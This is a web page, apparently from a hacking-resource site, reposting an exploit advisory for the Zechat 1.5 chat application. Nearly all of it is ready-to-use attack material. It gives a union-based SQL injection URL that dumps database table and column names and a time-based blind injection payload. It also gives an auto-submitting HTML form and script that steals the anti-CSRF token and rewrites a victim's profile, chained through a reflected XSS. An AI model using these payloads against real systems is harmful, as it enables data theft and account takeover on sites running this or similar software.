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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Zechat 1.5 - 'hashtag' / 'v' SQL Injection / Cross site request forgery
# Date: 2018-05-22
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage: https://bylancer.com
# Version: 1.5
# Tested on: Kali linux
====================================================
# POC 1 : SQLi :

Parameter : hashtag
    type : Union based

http://test.com/chat/hashtag?hashtag=[SQL]

# test :
http://test.com/chat/hashtag?hashtag=-1%27%20UNION%20SELECT%20NULL,unhex(hex(group_concat(table_name,0x3C62723E,column_name))),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20from%20information_schema.columns%20where%20table_schema=schema()%23

# Payload : -1' UNION SELECT
NULL,unhex(hex(group_concat(table_name,0x3C62723E,column_name))),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
from information_schema.columns where table_schema=schema()%23

====================================================

Parameter : v
    type : time-based blind

test.com/chat/me?action=edit&v=[SQL]

# test : test.com/chat/me?action=edit&v=231 AND sleep(10)%23

# Payload : AND sleep(10)%23

====================================================

# POC 2 : CSRF :

# CSRF vulnerability allows attacker to change user's information.
In this script we have anti-csrf which we can't change user's information
without token.
So we use 'hashtag' parameter to set our encoded payload and bypass csrf
protection : chat/hashtag?hashtag=[We have Reflected XSS here]

# Exploit :

  <form action="http://test.com/chat/data_settings.php" method="POST">
      <input type="hidden" name="csrf&#95;token" value="" />
      <input type="hidden" name="Wall"
value="Hello&#32;would&#32;you&#32;like&#32;to&#32;be&#32;my&#32;friend" />
      <input type="hidden" name="user" value="lord225" />
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="mail"
value="d3code&#46;n&#64;gmail&#46;com" />
      <input type="hidden" name="website" value="test" />
      <input type="hidden" name="sex" value="male" />
      <input type="hidden" name="country"
value="&#45;&#45;&#45;&#45;&#45;&#45;" />
      <input type="hidden" name="day" value="" />
      <input type="hidden" name="month" value="" />
      <input type="hidden" name="year" value="" />
      <input type="hidden" name="Language" value="en" />
    </form>

    <script>

var token = '';
  var req = new XMLHttpRequest();
  req.onreadystatechange = function(){
    if(this.readyState == 4 && this.status == 200){

          var setPage = this.responseXML;
          token = setPage.forms[1].elements[0].value; // get token
          console.log(token);
         }

  }
      req.open("POST","/chat/settings",true);

req.setRequestHeader("content-type","application/x-www-form-urlencoded");
      req.responseType = "document";
      req.send();

      document.forms[0].elements[0].value = token; // set token to our form
      document.forms[0].submit();

</script>

=====================================================